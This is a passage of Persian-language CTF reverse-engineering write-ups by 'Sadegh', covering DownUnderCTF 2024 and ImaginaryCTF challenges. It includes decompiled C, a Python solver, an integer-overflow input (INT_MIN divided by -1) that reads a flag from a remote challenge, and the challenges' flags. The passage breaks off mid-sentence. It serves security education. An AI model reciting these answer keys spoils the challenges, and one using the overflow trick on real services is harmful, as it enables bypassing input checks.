\u062e\u0631\u0648\u062c\u06cc \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0628\u0631\u0627\u06cc \u062a\u0627\u0628\u0639 sub_1280 \u06a9\u0645\u06cc \u063a\u06cc\u0631 \u0642\u0627\u0628\u0644\u200c\u0641\u0647\u0645 \u0647\u0633\u062a. \u0628\u0627 \u0645\u0631\u0648\u0631 \u0627\u0633\u0645\u0628\u0644\u06cc \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0645\u062a\u0648\u062c\u0647 \u0645\u06cc\u200c\u0634\u06cc\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639 \u0628\u0633\u062a\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0642\u062f\u0627\u0631 \u0627\u0633\u06a9\u06cc \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631 \u0648\u0631\u0648\u062f\u06cc \u0686\u06cc \u0647\u0633\u062a\u060c \u06cc\u06a9 \u0622\u0641\u0633\u062a \u0648\u0644\u06cc\u062f \u06a9\u0647 \u0622\u062f\u0631\u0633 \u0634\u0631\u0648\u0639 \u06cc\u06a9 \u062a\u0627\u0628\u0639 \u0647\u0633\u062a \u0631\u0627 \u062a\u0648\u0644\u06cc\u062f \u0645\u06cc\u200c\u06a9\u0646\u062f \u0648 \u0627\u0648\u0646\u0648 \u06a9\u0627\u0644 \u0645\u06cc\u200c\u06a9\u0646\u0647.

\u0647\u0645\u0686\u0646\u06cc\u0646 \u0627\u06af\u0647 \u0628\u0647 \u0622\u062f\u0631\u0633 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u0646 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u06a9\u0647 \u06cc\u06a9 \u0646\u0638\u0645 \u062e\u06cc\u0644\u06cc \u062e\u0627\u0635\u06cc \u062f\u0627\u0631\u0646 \u0648 \u062f\u0631 \u0641\u0627\u0635\u0644\u0647\u200c\u0647\u0627\u06cc \u0628\u0631\u0627\u0628\u0631 \u0642\u0631\u0627\u0631 \u06af\u0631\u0641\u062a\u0646. \u0627\u06af\u0631 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u0631\u0648 \u0628\u0627 \u062c\u062f\u0648\u0644 \u0627\u0633\u06a9\u06cc \u062a\u0637\u0628\u06cc\u0642 \u0628\u062f\u06cc\u0646\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u06a9\u0647 \u0627\u06a9\u062b\u0631 \u0627\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0645\u0642\u062f\u0627\u0631 \u0627\u0648\u0646 \u0645\u062a\u063a\u06cc\u0631 qword_9010 \u0631\u0648 \u0628\u0631\u0627\u0628\u0631 \u06f1- \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0646 \u0648 \u0641\u0642\u0637 \u062a\u0648\u0627\u0628\u0639 \u0645\u062a\u0646\u0627\u0638\u0631 \u0628\u0627 \u06a9\u0627\u0631\u0627\u06a9\u062a\u0631\u200c\u0647\u0627\u06cc a \u062a\u0627 z \u0648 A \u062a\u0627 Z \u0648 0 \u062a\u0627 1 \u0648 ! \u0648 ? \u06a9\u0627\u0631 \u0645\u062a\u0641\u0627\u0648\u062a\u06cc \u0631\u0648 \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0646. \u0627\u06af\u0631 \u0628\u0627\u0632 \u0647\u0645 \u0628\u06cc\u0634\u062a\u0631 \u0628\u0647 \u062f\u0627\u062e\u0644 \u0627\u06cc\u0646 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u0646\u06af\u0627\u0647 \u06a9\u0646\u06cc\u062f\u060c \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u06a9\u0647 \u0647\u0631 \u06a9\u062f\u0648\u0645 (\u0628\u0647 \u062c\u0632 \u062a\u0627\u0628\u0639 \u0645\u062a\u0646\u0627\u0638\u0631 \u0628\u0627 t) \u0627\u06af\u0631 \u06cc\u06a9 \u0634\u0631\u0637 \u062e\u0627\u0635 \u0631\u0648\u06cc \u0645\u0642\u062f\u0627\u0631 qword_9010 \u0628\u0631\u0642\u0631\u0627\u0631 \u0628\u0627\u0634\u0647\u060c \u06cc\u06a9 \u0628\u06cc\u062a \u062e\u0627\u0635 \u0627\u0632\u0648\u0646 \u0639\u062f\u062f \u06f6\u06f4 \u0628\u06cc\u062a\u06cc \u0631\u0648 \u062a\u0628\u062f\u06cc\u0644 \u0628\u0647 0 \u0645\u06cc\u200c\u06a9\u0646\u0647. \u0686\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 \u0627\u06cc\u0646 \u0639\u062f\u062f \u0627\u0648\u0644\u0634 \u06f1- \u0647\u0633\u062a \u0648 \u062a\u0645\u0627\u0645 \u0628\u06cc\u062a\u200c\u0647\u0627\u0634 1 \u0639\u0647 \u0648 \u0647\u0631 \u06a9\u062f\u0648\u0645 \u0627\u0632\u06cc\u0646 \u062a\u0648\u0627\u0628\u0639 \u0641\u0642\u0637 \u06cc\u06a9 \u0628\u06cc\u062a \u062e\u0627\u0635 \u0631\u0648 0 \u0645\u06cc\u200c\u06a9\u0646\u0646 \u0648 \u0645\u0627 \u0646\u06cc\u0627\u0632 \u062f\u0627\u0631\u06cc\u0645 \u0622\u062e\u0631 \u0628\u0631\u0646\u0627\u0645\u0647 \u0647\u0645\u0647 \u0628\u06cc\u062a\u200c\u0647\u0627\u06cc \u0639\u062f\u062f 0 \u0628\u0627\u0634\u0647\u060c \u067e\u0633 \u0647\u0631 \u06a9\u062f\u0648\u0645 \u0627\u0632\u06cc\u0646 \u062a\u0627\u0628\u0639\u200c\u0647\u0627 \u062f\u0642\u06cc\u0642\u0627 \u06cc\u06a9 \u0628\u0627\u0631 \u0648 \u0628\u0627 \u06cc\u06a9 \u062a\u0631\u062a\u06cc\u0628 \u062e\u0627\u0635\u06cc \u06a9\u0627\u0644 \u0628\u0634\u0646 \u062a\u0627 \u0634\u0631\u0637\u200c\u0647\u0627\u06cc \u0647\u0645\u062f\u06cc\u06af\u0631 \u0631\u0648 \u0631\u0639\u0627\u06cc\u062a \u06a9\u0646\u0646 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0639\u062f\u062f \u0631\u0648 \u0635\u0641\u0631 \u06a9\u0646\u0646. \u0628\u0627 \u0646\u06af\u0627\u0647 \u0633\u0627\u062f\u0647 \u0648 \u06cc\u0627 \u0628\u0627 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u06cc\u0646 \u0634\u0631\u0637\u200c\u0647\u0627\u0631\u0648 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u062f\u0631\u0628\u06cc\u0627\u0631\u06cc\u0645 \u0648 \u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0648\u0631\u0648\u062f\u06cc \u0645\u0646\u0627\u0633\u0628 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0645. \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0628\u0631\u0627\u06cc \u0631\u0627\u062d\u062a\u06cc \u06a9\u0627\u0631 \u0628\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u06cc\u06a9 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u067e\u0627\u06cc\u062a\u0648\u0646\u06cc\u060c \u0645\u0642\u0627\u062f\u06cc\u0631 \u0648 \u0622\u062f\u0631\u0633\u200c\u0647\u0627\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u062a\u0648\u0627\u0628\u0639 \u0647\u0631 \u062d\u0631\u0641 \u0631\u0627 \u0627\u0632 \u06a9\u062f C \u067e\u0627\u06a9\u0633\u0627\u0632\u06cc\u200c\u0634\u062f\u0647 \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u0648 \u0633\u067e\u0633 \u062a\u0631\u062a\u06cc\u0628 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u0631\u0627 \u067e\u06cc\u062f\u0627 \u0648 \u0686\u0627\u067e \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u062a\u0648\u062c\u0647 \u06a9\u0646\u06cc\u062f \u06a9\u0647 \u0646\u0648\u0634\u062a\u0646 \u0627\u06cc\u0646 \u0627\u0633\u06a9\u0631\u06cc\u067e\u062a \u06cc\u06a9\u0647\u0648 \u0627\u0646\u062c\u0627\u0645 \u0646\u0634\u062f\u0647 \u0648 \u0628\u0647 \u062a\u062f\u0631\u06cc\u062c \u0648 \u0628\u0627 \u0622\u0632\u0645\u0648\u0646 \u0648 \u062e\u0637\u0627 \u0646\u06cc\u0627\u0632 \u0647\u0633\u062a \u06a9\u0647 \u0628\u0647 \u0627\u06cc\u0646 \u0628\u0631\u0633\u06cc\u062f. \u0647\u0645\u06cc\u0646\u200c\u0637\u0648\u0631 \u0628\u0627\u06cc\u062f \u062f\u0631 \u062d\u06cc\u0646 \u0622\u0632\u0645\u0648\u0646 \u0648 \u062e\u0637\u0627 \u0645\u062f\u0627\u0645 \u0645\u0642\u0627\u062f\u06cc\u0631 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627 \u0631\u0648 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u0646 \u0648 \u067e\u0627\u06a9\u0633\u0627\u0632\u06cc\u200c\u0647\u0627\u06cc \u0644\u0627\u0632\u0645 \u0631\u0648 \u062f\u0631 \u0641\u0627\u06cc\u0644 C \u0627\u0646\u062c\u0627\u0645 \u0628\u062f\u06cc\u0646 \u062a\u0627 \u06cc\u06a9 \u0641\u0627\u06cc\u0644 \u06cc\u06a9\u062f\u0633\u062a \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u062e\u0631\u0627\u062c \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645.

with open('clean.c', 'r') as f:\n    lines = f.read().split('\\n')\n\ntemp = {}\nfor i, l in enumerate(lines):\n    if 'result = qword_9010 &' in l:\n        a1 = l.strip().replace('result = qword_9010 & 0x', '').replace('LL', '').replace(';', '').replace('u', '')\n        a2 = lines[i-4].strip().replace('__int64 sub_', '').replace('()', '')\n        a3 = lines[i+3].strip().replace('qword_9010 ^= ', '').replace('0x', '').replace('LL', '').replace(';', '').replace('u', '')\n        temp[a1] = (a2, a3)\n\nflag = 't'\nnum = 0xFFFFFFFFFFFFFFFF ^ 0x2000000\n\nvisited = set()\nfor _ in range(63):\n    for j, k in temp.items():\n        if (int(j, 16) & num == 0) and (j not in visited):\n            num ^= int(k[1], 16)\n            flag += chr((int(k[0], 16) - 0x12a0 - 0x60) >> 7)\n            visited.add(j)\n\nprint(flag)\n
\u0646\u0647\u0627\u06cc\u062a\u0627 \u0628\u0627 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u0648 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u062e\u0631\u0648\u062c\u06cc \u062f\u0631 \u0642\u0627\u0644\u0628 \u0641\u0644\u06af \u0645\u0633\u0627\u0628\u0642\u0647 \u0628\u0647 \u0641\u0644\u06af \u0646\u0647\u0627\u06cc\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645.

FLAG

DUCTF{tAb1HFK5h3ZgEX7UTMQfsivcPOaJ?nRy8jrYLVB9Ilempw6xWq2zC0d!SDukG4No}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Reverse"]},{"location":"reverse/writeups/DUCTF/number_mashing/","title":"\u0686\u0627\u0644\u0634 number mashing","text":"

\u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0631\u0648 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0645\u06cc\u062f\u06cc\u0645 \u0648 \u062e\u0631\u0648\u062c\u06cc \u0631\u0648 \u0686\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0628\u0627 \u062d\u0630\u0641 \u0642\u0633\u0645\u062a\u0627\u06cc \u063a\u06cc\u0631 \u0645\u0647\u0645 \u0648 \u0641\u0642\u0637 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0646 \u0645\u0646\u0637\u0642 \u0627\u0635\u0644\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0634\u0628\u0647 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0648 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645.

undefined8 main(void)\n\n{\n  int local_11c;\n  int local_118;\n  int local_114;\n  FILE *local_110;\n  setvbuf(_stdout,(char *)0x0,2,0);\n  setvbuf(_stdin,(char *)0x0,2,0);\n  printf(\"Give me some numbers: \");\n  __isoc99_scanf(\"%d %d\",&local_11c,&local_118);\n  if (((local_11c == 0) || (local_118 == 0)) || (local_118 == 1)) {\n    puts(\"Nope!\");\n    exit(1);\n  }\n  local_114 = 0;\n  if (local_118 != 0) {\n    local_114 = local_11c / local_118;\n  }\n  if (local_114 != local_11c)\n    puts(\"Nope!\");\n  local_110 = fopen(\"flag.txt\",\"r\");\n  fread(&local_108,1,0x100,local_110);\n  printf(\"Correct! %s\\n\",&local_108);\n  return 0;\n}\n

\u062f\u0631 \u0648\u0627\u0642\u0639 \u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u062f\u0648 \u0639\u062f\u062f int32 \u0631\u0627 \u0627\u0632 \u06a9\u0627\u0631\u0628\u0631 \u0648\u0631\u0648\u062f\u06cc \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u0648 \u0686\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f \u06a9\u0647 \u0622\u06cc\u0627 \u062d\u0627\u0635\u0644 \u062a\u0642\u0633\u06cc\u0645 \u0639\u062f\u062f \u0627\u0648\u0644 \u0628\u0631 \u0639\u062f\u062f \u062f\u0648\u0645\u060c \u0628\u0631\u0627\u0628\u0631 \u0639\u062f\u062f \u0627\u0648\u0644 \u0645\u06cc\u200c\u0634\u0648\u062f \u06cc\u0627 \u062e\u06cc\u0631. \u0647\u0645\u0686\u0646\u06cc\u0646 \u0628\u0631\u0627\u06cc \u0633\u062e\u062a\u200c\u062a\u0631 \u06a9\u0631\u062f\u0646 \u06a9\u0627\u0631 \u0648 \u062c\u0644\u0648\u06af\u06cc\u0631\u06cc \u0627\u0632 \u062e\u0637\u0627\u06cc \u062a\u0642\u0633\u06cc\u0645 \u0635\u0641\u0631\u060c \u0628\u0631\u0631\u0633\u06cc \u0645\u06cc\u200c\u06a9\u0646\u0647 \u06a9\u0647 \u0635\u0648\u0631\u062a \u0628\u0631\u0627\u0628\u0631 0 \u0648 \u06cc\u0627 \u0645\u062e\u0631\u062c \u0628\u0631\u0627\u0628\u0631 0 \u06cc\u0627 1 \u0646\u0628\u0627\u0634\u0647 \u0648 \u062f\u0631 \u063a\u06cc\u0631 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0627\u0632 \u0628\u0631\u0646\u0627\u0645\u0647 \u062e\u0627\u0631\u062c \u0645\u06cc\u200c\u0634\u0647. \u0627\u0632 \u062f\u06cc\u062f \u0631\u06cc\u0627\u0636\u06cc \u0648 \u062f\u0631 \u062a\u0642\u0633\u06cc\u0645 \u0627\u0639\u062f\u0627\u062f \u0635\u062d\u06cc\u062d \u0648 \u0628\u0627 \u0641\u0631\u0636 \u0627\u06cc\u0646\u06a9\u0647 \u067e\u0627\u0633\u062e \u0647\u0645\u06cc\u0634\u0647 \u0628\u0647 \u0633\u0645\u062a 0 \u06af\u0631\u062f \u0645\u06cc\u200c\u0634\u0648\u062f\u060c \u0628\u0647 \u0646\u0638\u0631 \u0645\u06cc\u0627\u062f \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u0647\u0645\u0686\u06cc\u0646 \u062c\u0641\u062a \u0639\u062f\u062f\u06cc \u0628\u0627\u06cc\u062f \u0646\u0627\u0645\u0645\u06a9\u0646 \u0628\u0627\u0634\u0647. \u0627\u0645\u0627 \u0646\u06a9\u062a\u0647 \u0627\u06cc\u0646\u062c\u0627\u0633\u062a \u06a9\u0647 \u0645\u0627 \u062f\u0631 \u062f\u0646\u06cc\u0627\u06cc \u0628\u0627\u06cc\u0646\u0631\u06cc \u06a9\u0627\u0645\u067e\u06cc\u0648\u062a\u0631\u0647\u0627\u060c \u062a\u0639\u062f\u0627\u062f \u0645\u062d\u062f\u0648\u062f\u06cc \u0628\u06cc\u062a \u062f\u0627\u0631\u06cc\u0645 \u0648 \u0627\u0632 \u0642\u0648\u0627\u0639\u062f \u062e\u0627\u0635\u06cc \u0628\u0631\u0627\u06cc \u0646\u0645\u0627\u06cc\u0634 \u0627\u0639\u062f\u0627\u062f \u067e\u06cc\u0631\u0648\u06cc \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u062f\u0631 \u0633\u06cc\u0633\u062a\u0645 complement 2's \u062a\u0639\u062f\u0627\u062f \u0627\u0639\u062f\u0627\u062f \u0645\u0646\u0641\u06cc \u06cc\u06a9\u06cc \u0628\u06cc\u0634\u062a\u0631 \u0627\u0632 \u0627\u0639\u062f\u0627\u062f \u0645\u062b\u0628\u062a \u0627\u0633\u062a \u0648 \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u06a9\u0648\u0686\u06a9\u200c\u062a\u0631\u06cc\u0646 \u0639\u062f\u062f \u06f3\u06f2 \u0628\u06cc\u062a\u06cc \u0645\u0646\u0641\u06cc \u06cc\u0639\u0646\u06cc 2147483648 - \u062f\u0631 \u0627\u06cc\u0646 \u0633\u06cc\u0633\u062a\u0645 \u0646\u0642\u06cc\u0636 \u0646\u062f\u0627\u0631\u062f \u0648 \u0646\u0642\u06cc\u0636\u0634 \u062e\u0648\u062f\u0634 \u0627\u0633\u062a. \u062f\u0644\u06cc\u0644 \u0627\u06cc\u0646 \u0645\u0648\u0636\u0648\u0639 \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0646\u0645\u0627\u06cc\u0634 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0627\u06cc\u0646 \u0639\u062f\u062f\u060c \u0628\u0627 \u0627\u0631\u0632\u0634\u200c\u062a\u0631\u06cc\u0646 \u0628\u06cc\u062a 1 \u0648 \u0628\u0642\u06cc\u0647 \u0628\u06cc\u062a\u200c\u0647\u0627 0 \u0647\u0633\u062a\u0646\u062f. \u062d\u0627\u0644 \u0647\u0646\u06af\u0627\u0645 \u0646\u0642\u06cc\u0636 \u06a9\u0631\u062f\u0646\u060c \u0647\u0645\u0647 \u0628\u06cc\u062a\u200c\u0647\u0627 \u0631\u0627 \u0639\u06a9\u0633 \u0648 \u0633\u067e\u0633 \u0639\u062f\u062f \u0631\u0627 \u0628\u0627 1 \u062c\u0645\u0639 \u06a9\u0646\u06cc\u0645\u060c \u0645\u062c\u062f\u062f\u0627 \u0628\u0627 \u0647\u0645\u0627\u0646 \u0646\u0645\u0627\u06cc\u0634 \u0639\u062f\u062f\u06cc \u0645\u06cc\u200c\u0631\u0633\u06cc\u0645. \u0628\u0646\u0627\u0628\u0631\u0627\u06cc\u0646 \u0627\u06af\u0631 \u0627\u06cc\u0646 \u0639\u062f\u062f \u0631\u0627 \u062f\u0631 \u06f1- \u0636\u0631\u0628 \u0648 \u06cc\u0627 \u0628\u0631 \u0622\u0646 \u062a\u0642\u0633\u06cc\u0645 \u06a9\u0646\u06cc\u0645\u060c \u0647\u0645\u0686\u0646\u0627\u0646 \u062d\u0627\u0635\u0644 \u0628\u0631\u0627\u0628\u0631 \u062e\u0648\u062f\u0634 \u0627\u0633\u062a. \u0628\u0627 \u062f\u0627\u062f\u0646 \u0627\u06cc\u0646 \u0648\u0631\u0648\u062f\u06cc\u200c\u0647\u0627 \u0628\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u0631\u06cc\u0645\u0648\u062a \u0631\u0648\u06cc \u0633\u0631\u0648\u0631\u060c \u0645\u0642\u062f\u0627\u0631 \u0641\u0644\u06af \u0628\u0627 \u0645\u0648\u0641\u0642\u06cc\u062a \u0628\u0647 \u062f\u0633\u062a \u0645\u06cc\u200c\u0622\u06cc\u062f.

FLAG

DUCTF{w0w_y0u_just_br0ke_math!!}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

Sadegh

","tags":["DownUnderCTF","DownUnderCTF-2024","Reverse"]},{"location":"reverse/writeups/ImaginaryCTF/unconditional/","title":"unconditional","text":"

\u0641\u0627\u06cc\u0644 \u0628\u0627\u06cc\u0646\u0631\u06cc \u0636\u0645\u06cc\u0645\u0647\u200c\u0634\u062f\u0647 \u0631\u0648 \u0628\u0647 \u062f\u06cc\u06a9\u0627\u0645\u067e\u0627\u06cc\u0644\u0631 \u0645\u06cc\u062f\u06cc\u0645 \u0648 \u062e\u0631\u0648\u062c\u06cc \u0631\u0648 \u0686\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645. \u0628\u0627 \u062d\u0630\u0641 \u0642\u0633\u0645\u062a\u0627\u06cc \u063a\u06cc\u0631 \u0645\u0647\u0645 \u0648 \u0641\u0642\u0637 \u0646\u06af\u0647 \u062f\u0627\u0634\u062a\u0646 \u0645\u0646\u0637\u0642 \u0627\u0635\u0644\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u060c \u0634\u0628\u0647 \u06a9\u062f \u0632\u06cc\u0631 \u0631\u0648 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u0645.

#include <stdio.h>\n\n\nchar flag[33] = \"nothing_here_lmao\";\nunsigned char table1[6] = { 82, 100, 113, 81, 84, 118 };\nunsigned char table2[6] = { 1, 3, 4, 2, 6, 5 };\nint counter1;\nint counter2;\n\n\nint iterate(int a1)\n{\n    lala[39] = 0;\n    char v1;\n    unsigned char v3;\n    char v4;\n\n    v3 = flag[a1];\n    v4 = (a1 & 1) != 0; // odd -> True , even -> False\n    v1 = v3 > 0x60u && v3 <= 0x7Au;\n    flag[a1] = ((((int)v3 >> table2[counter2]) | (v3 << (8 - table2[counter2]))) * v1\n                + !v1 * (((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))\n               * ((a1 & 1) == 0)\n               + ((v3 ^ table1[counter1]) * v1 + !v1 * ((v3 << 2) | (v3 >> 6))) * ((a1 & 1) != 0);\n    counter1 = (v4 + counter1) % 6;\n    counter2 = (v4 + counter2) % 6;\n    printf(\"%02x,\", (unsigned char)flag[a1]);\n    return (unsigned int)(a1 + 1);\n}\n\n\nint main()\n{\n    int v3;\n    int v4;\n    int v5;\n    int v6;\n    int v7;\n    int v8;\n    int v9;\n    int v10;\n    int v11;\n    int v12;\n    int v13;\n    int v14;\n    int v15;\n    int v16;\n    int v17;\n    int v18;\n    int v19;\n    int v20;\n    int v21;\n    int v22;\n    int v23;\n    int v24;\n    int v25;\n    int v26;\n    int v27;\n    int v28;\n    int v29;\n    int v30;\n    int v31;\n    int v32;\n    int v33;\n    int v34;\n\n    v3 = iterate(0);\n    v4 = iterate(v3);\n    v5 = iterate(v4);\n    v6 = iterate(v5);\n    v7 = iterate(v6);\n    v8 = iterate(v7);\n    v9 = iterate(v8);\n    v10 = iterate(v9);\n    v11 = iterate(v10);\n    v12 = iterate(v11);\n    v13 = iterate(v12);\n    v14 = iterate(v13);\n    v15 = iterate(v14);\n    v16 = iterate(v15);\n    v17 = iterate(v16);\n    v18 = iterate(v17);\n    v19 = iterate(v18);\n    v20 = iterate(v19);\n    v21 = iterate(v20);\n    v22 = iterate(v21);\n    v23 = iterate(v22);\n    v24 = iterate(v23);\n    v25 = iterate(v24);\n    v26 = iterate(v25);\n    v27 = iterate(v26);\n    v28 = iterate(v27);\n    v29 = iterate(v28);\n    v30 = iterate(v29);\n    v31 = iterate(v30);\n    v32 = iterate(v31);\n    v33 = iterate(v32);\n    v34 = iterate(v33);\n    iterate(v34);\n    return 0;\n}\n

\u0627\u06cc\u0646 \u0628\u0631\u0646\u0627\u0645\u0647 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0628\u0647 \u062a\u0631\u062a\u06cc\u0628 \u0631\u0648\u06cc \u062a\u06a9 \u062a\u06a9 \u062d\u0631\u0641\u200c\u0647\u0627\u06cc \u0641\u0644\u06af \u06cc\u06a9\u0633\u0631\u06cc \u0639\u0645\u0644 \u0628\u06cc\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0645\u06cc\u062f\u0647. \u0627\u06cc\u0646 \u0627\u0639\u0645\u0627\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 \u0628\u0633\u062a\u0647 \u0628\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0646\u062f\u06cc\u0633 \u062d\u0631\u0641 (\u0645\u06a9\u0627\u0646 \u062d\u0631\u0641 \u062f\u0631 \u0631\u0634\u062a\u0647) \u0639\u062f\u062f\u06cc \u0641\u0631\u062f \u06cc\u0627 \u0632\u0648\u062c \u0628\u0627\u0634\u0647 \u0648 \u06cc\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u062d\u0631\u0641\u06cc \u0628\u06cc\u0646 a \u062a\u0627 z \u0628\u0627\u0634\u0647 \u0648 \u06cc\u0627 \u062e\u0627\u0631\u062c \u0627\u0632 \u0622\u0646 \u0627\u0632 \u0628\u06cc\u0646 \u062d\u0631\u0648\u0641 0123456789_{} \u0628\u0627\u0634\u0647\u060c \u0645\u0642\u0627\u062f\u06cc\u0631 \u0645\u062e\u062a\u0644\u0641\u06cc \u0631\u0648 \u0645\u062d\u0627\u0633\u0628\u0647 \u0648 \u0627\u0648\u0646 \u0645\u0642\u062f\u0627\u0631 \u0631\u0627 \u0628\u0647 \u0635\u0648\u0631\u062a \u06cc\u06a9 \u0639\u062f\u062f \u0647\u06af\u0632\u0627\u062f\u0633\u06cc\u0645\u0627\u0644 \u062f\u0648 \u0631\u0642\u0645\u06cc \u0628\u0647 \u0627\u0632\u0627\u06cc \u0627\u0648\u0646 \u062d\u0631\u0641 \u0646\u0645\u0627\u06cc\u0634 \u0645\u06cc\u200c\u062f\u0647. \u0645\u06cc\u0634\u0647 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647\u200c\u0628\u0646\u062f\u06cc \u0627\u0639\u0645\u0627\u0644 \u0627\u0646\u062c\u0627\u0645\u200c\u0634\u062f\u0647 \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u0634\u0628\u0647\u200c\u06a9\u062f \u0632\u06cc\u0631 \u0646\u0648\u0634\u062a:

if index is odd and char is alphabet:\n        out(hex(char ^ table1[counter1]))\nif index is odd and char is not alphabet:\n        out(hex((char << 2) | (char >> 6)))\nif index is even and char is alphabet:\n        out(hex((char >> table2[counter2]) | (char << (8 - table2[counter2]))))\nif index is even and char is not alphabet:\n        out(hex(((v3 << 6) | (v3 >> 2)) ^ table1[counter1]))\n

\u0645\u06cc\u0634\u0647 \u062f\u06cc\u062f \u06a9\u0647 \u0627\u0639\u0645\u0627\u0644 \u0627\u0646\u062c\u0627\u0645\u200c\u0634\u062f\u0647 \u0645\u0646\u0637\u0642\u0627 \u0628\u0627\u0632\u06af\u0634\u062a\u200c\u067e\u0630\u06cc\u0631 \u0647\u0633\u062a\u0646\u062f. \u062c\u062f\u0627\u06cc \u0627\u0632 xor \u0647\u0627\u06cc \u0627\u0646\u062c\u0627\u0645\u200c\u0634\u062f\u0647 \u06a9\u0647 \u0630\u0627\u062a\u0627 \u0628\u0627\u0632\u06af\u0634\u062a\u200c\u067e\u0630\u06cc\u0631\u0646\u060c \u062a\u0631\u06a9\u06cc\u0628 \u0627\u0639\u0645\u0627\u0644 \u0634\u06cc\u0641\u062a \u0628\u06cc\u062a\u06cc \u0648 or \u0647\u0627\u06cc \u0627\u0646\u062c\u0627\u0645\u200c\u0634\u062f\u0647 \u062f\u0631 \u0648\u0627\u0642\u0639 \u0628\u0647 \u0627\u06cc\u0646 \u0635\u0648\u0631\u062a \u0647\u0633\u062a\u0646\u062f \u06a9\u0647 i \u0628\u06cc\u062a \u06a9\u0645 \u0627\u0631\u0632\u0634 \u0631\u0627 \u0627\u0632 \u0645\u0642\u062f\u0627\u0631 \u0627\u0633\u06a9\u06cc \u062d\u0631\u0641 \u0628\u0631\u062f\u0627\u0634\u062a\u0647 \u0648 \u0642\u0628\u0644 \u0627\u0632 8 - i \u0628\u06cc\u062a \u067e\u0631 \u0627\u0631\u0632\u0634 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u0648 \u062d\u0627\u0644 \u0622\u0646 i \u0628\u06cc\u062a \u067e\u0631\u0627\u0631\u0632\u0634\u200c\u062a\u0631 \u0647\u0633\u062a\u0646\u062f. \u0628\u0647 \u0632\u0628\u0627\u0646 \u0633\u0627\u062f\u0647\u200c\u062a\u0631 \u0627\u06cc\u0646 \u0639\u0645\u0644 \u06cc\u06a9 \u0634\u06cc\u0641\u062a \u062f\u0648\u0631\u0627\u0646\u06cc \u0627\u0633\u062a. \u067e\u0633 \u0628\u0627\u06cc\u062f \u0642\u0627\u0628\u0644 \u0628\u0627\u0632\u06af\u0634\u062a 